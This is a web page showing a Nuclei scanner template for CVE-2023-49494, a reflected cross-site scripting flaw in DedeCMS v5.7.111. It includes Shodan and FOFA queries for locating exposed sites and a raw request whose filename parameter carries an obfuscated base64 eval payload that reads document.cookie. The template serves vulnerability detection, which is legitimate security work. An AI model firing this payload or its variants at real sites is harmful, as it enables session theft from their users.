Skip to content

DedeCMS v5.7.111 - Cross-Site Scripting

ID: CVE-2023-49494

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,dedecms,xss

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.

id: CVE-2023-49494
info:
name: DedeCMS v5.7.111 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.
impact: |
Successful exploitation could lead to unauthorized access or data theft.
remediation: |
Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
reference:
- https://github.com/Hebing123/cve/issues/3
- https://nvd.nist.gov/vuln/detail/CVE-2023-49494
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-49494
cwe-id: CWE-79
epss-score: 0.00046
epss-percentile: 0.15636
cpe: cpe:2.3:a:dedecms:dedecms:5.7.111:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dedecms
product: dedecms
shodan-query: http.html:"DedeCms"
fofa-query: app="DedeCMS"
tags: cve,cve2023,dedecms,xss
http:
- raw:
- |
GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"data":{"url":'
- '<input onfocus=eval(atob(this.id)) id='
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022058a0f4cb7f7f89140b4c57f1d17e5132239c2653b85806d84136325b177a5c6a02201e7f716c6b249994330d399ed6cc6e371d6d0c3194b315561f0c56f57a024d22:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-49494.yaml"

View on Github